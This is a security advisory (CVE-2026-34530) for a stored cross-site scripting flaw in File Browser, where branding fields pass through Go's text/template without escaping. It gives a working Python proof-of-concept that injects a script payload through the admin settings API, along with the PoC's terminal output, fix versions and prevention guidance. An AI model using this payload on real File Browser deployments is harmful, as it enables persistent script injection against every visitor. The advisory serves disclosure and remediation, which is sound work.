GHSA-xfqj-3vmx-63wv CVE-2026-34530 GO-2026-5754
File Browser vulnerable to Stored Cross-site Scripting via text/template branding injection
- Severity
- 6.9 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.37%
- Chance of exploitation in the next 30 days. Higher than 30.92% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
2.62.2- Upgrade github.com/filebrowser/filebrowser/v2 to this version or later
Description
Summary
The SPA index page in File Browser is vulnerable to Stored Cross-site Scripting (XSS) via admin-controlled branding fields. An admin who sets branding.name to a malicious payload injects persistent JavaScript that executes for ALL visitors, including unauthenticated users.
<br/>
Details
http/static.go renders the SPA index.html using Go's text/template (NOT html/template) with custom delimiters [{[ and ]}]. Branding fields are inserted directly into HTML without any escaping:
// http/static.go, line 16 — imports text/template instead of html/template
"text/template"
// http/static.go, line 33 — branding.Name passed into template data
"Name": d.settings.Branding.Name,
// http/static.go, line 97 — template parsed with custom delimiters, no escaping
index := template.Must(template.New("index").Delims("[{[", "]}]").Parse(string(fileContents)))
The frontend template (frontend/public/index.html) embeds these fields directly:
<!-- frontend/public/index.html, line 16 -->
[{[ if .Name -]}][{[ .Name ]}][{[ else ]}]File Browser[{[ end ]}]
<!-- frontend/public/index.html, line 42 -->
content="[{[ if .Color -]}][{[ .Color ]}][{[ else ]}]#2979ff[{[ end ]}]"
Since text/template performs NO HTML escaping (unlike html/template), setting branding.name to </title><script>alert(1)</script> breaks out of the <title> tag and injects arbitrary script into every page load.
Additionally, when ReCaptcha is enabled, the ReCaptchaHost field is used as:
<script src="[{[.ReCaptchaHost]}]/recaptcha/api.js"></script>
This allows loading arbitrary JavaScript from an admin-chosen origin.
No Content-Security-Policy header is set on the SPA entry point, so there is no CSP mitigation.
<br/>
PoC
Below is the PoC python script that could be ran on test environment using docker compose:
services:
filebrowser:
image: filebrowser/filebrowser:v2.62.1
user: 0:0
ports:
- "80:80"
And running this PoC python script:
import argparse
import json
import sys
import requests
BANNER = """
Stored XSS via Branding Injection PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: http/static.go uses text/template (not html/template)
Branding fields rendered unescaped into SPA index.html
"""
XSS_MARKER = "XSS_BRANDING_POC_12345"
XSS_PAYLOAD = (
'</title><script>window.' + XSS_MARKER + '=1;'
'alert("XSS in File Browser branding")</script><title>'
)
def login(base: str, username: str, password: str) -> str:
r = requests.post(f"{base}/api/login",
json={"username": username, "password": password},
timeout=10)
if r.status_code != 200:
print(f" Login failed: {r.status_code}")
sys.exit(1)
return r.text.strip('"')
def main():
sys.stdout.write(BANNER)
sys.stdout.flush()
ap = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description="Stored XSS via branding injection PoC",
epilog="""examples:
%(prog)s -t http://localhost -u admin -p admin
%(prog)s -t http://target.com/filebrowser -u admin -p secret
how it works:
1. Authenticates as admin to File Browser
2. Sets branding.name to a <script> payload via PUT /api/settings
3. Fetches the SPA index (unauthenticated) to verify the payload
renders unescaped in the HTML <title> tag
root cause:
http/static.go renders the SPA index.html using Go's text/template
(NOT html/template) with custom delimiters [{[ and ]}].
Branding fields like Name are inserted directly into HTML:
<title>[{[.Name]}]</title>
No escaping is applied, so HTML/JS in the name breaks out of
the <title> tag and executes as script.
impact:
Stored XSS affecting ALL visitors (including unauthenticated).
An admin (or attacker who compromised admin) can inject persistent
JavaScript that steals credentials from every user who visits.""",
)
ap.add_argument("-t", "--target", required=True,
help="Base URL of File Browser (e.g. http://localhost)")
ap.add_argument("-u", "--user", required=True,
help="Admin username")
ap.add_argument("-p", "--password", required=True,
help="Admin password")
if len(sys.argv) == 1:
ap.print_help()
sys.exit(1)
args = ap.parse_args()
base = args.target.rstrip("/")
hdrs = lambda tok: {"X-Auth": tok, "Content-Type": "application/json"}
print()
print("[*] ATTACK BEGINS...")
print("====================")
print(f"\n [1] Authenticating to {base}")
token = login(base, args.user, args.password)
print(f" Logged in as: {args.user}")
print(f"\n [2] Injecting XSS payload into branding.name")
r = requests.get(f"{base}/api/settings", headers=hdrs(token), timeout=10)
if r.status_code != 200:
print(f" Failed: GET /api/settings returned {r.status_code}")
print(f" (requires admin privileges)")
sys.exit(1)
settings = r.json()
settings["branding"]["name"] = XSS_PAYLOAD
r = requests.put(f"{base}/api/settings", headers=hdrs(token),
json=settings, timeout=10)
if r.status_code != 200:
print(f" Failed: PUT /api/settings returned {r.status_code}")
sys.exit(1)
print(f" Payload injected")
print(f"\n [3] Verifying XSS renders in unauthenticated SPA")
r = requests.get(f"{base}/", timeout=10)
html = r.text
if XSS_MARKER in html:
print(f" XSS payload found in HTML response!")
for line in html.split("\n"):
if XSS_MARKER in line:
print(f" >>> {line.strip()[:120]}")
csp = r.headers.get("Content-Security-Policy", "")
if not csp:
print(f" No CSP header — script executes without restriction")
confirmed = True
else:
print(f" Payload NOT found in HTML")
confirmed = False
print()
print("====================")
if confirmed:
print()
print("CONFIRMED: text/template renders branding.name without escaping.")
print("The <title> tag is broken and arbitrary <script> executes.")
print("Every visitor (authenticated or not) receives the payload.")
print()
print(f"Open {base}/ in a browser to see the alert() popup.")
else:
print()
print("NOT CONFIRMED in this test run.")
print()
if __name__ == "__main__":
main()
And terminal output:
root@server205:~/sec-filebrowser# python3 poc_branding_xss.py -t http://localhost -u admin -p "jhSR9z9pofv5evlX"
Stored XSS via Branding Injection PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: http/static.go uses text/template (not html/template)
Branding fields rendered unescaped into SPA index.html
[*] ATTACK BEGINS...
====================
[1] Authenticating to http://localhost
Logged in as: admin
[2] Injecting XSS payload into branding.name
Payload injected
[3] Verifying XSS renders in unauthenticated SPA
XSS payload found in HTML response!
>>> </title><script>window.XSS_BRANDING_POC_12345=1;alert("XSS in File Browser branding")</script><title>
>>> window.FileBrowser = {"AuthMethod":"json","BaseURL":"","CSS":false,"Color":"","DisableExternal":false,"DisableUsedPercen
No CSP header — script executes without restriction
====================
CONFIRMED: text/template renders branding.name without escaping.
The <title> tag is broken and arbitrary <script> executes.
Every visitor (authenticated or not) receives the payload.
Open http://localhost/ in a browser to see the alert() popup.
<br/>
Impact
- Stored XSS affecting ALL visitors including unauthenticated users
- Persistent backdoor — the payload survives until branding is manually changed
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/filebrowser/filebrowser | all versions |
No fix yet |
| github.com/filebrowser/filebrowser/v2 | < 2.62.2 |
2.62.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/filebrowser/filebrowser/v2 Go → 2.62.2
- go
go get github.com/filebrowser/filebrowser/v2@v2.62.2 && go mod tidy
Severity breakdown
CVSS 3.1 6.9
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- High
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-833g-cqhp-h72j File Browser: Share API exposes the password hash and bypass token | Low | Also affects github.com/filebrowser/filebrowser |
| GHSA-83xp-526h-j3ww File Browser: Archive builder turns backslash filenames into path traversal (zip-slip) | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-7rc3-g7h6-22m7 File Browser: Colliding username normalization gives two users the same home directory | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-8wc8-hf36-mjh9 File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope | Medium | Also affects github.com/filebrowser/filebrowser |
| GHSA-fmm7-x4gx-8jhr File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup | High | Also affects github.com/filebrowser/filebrowser |
| GHSA-xqp3-jq6g-x3qm File Browser: Authentication Bypass via Proxy Auth Header Forgery | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-m93h-4hw7-5qcm File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE) | Critical | Also affects github.com/filebrowser/filebrowser |
| GHSA-8c9q-7855-wfxq File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection | High | Also affects github.com/filebrowser/filebrowser |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor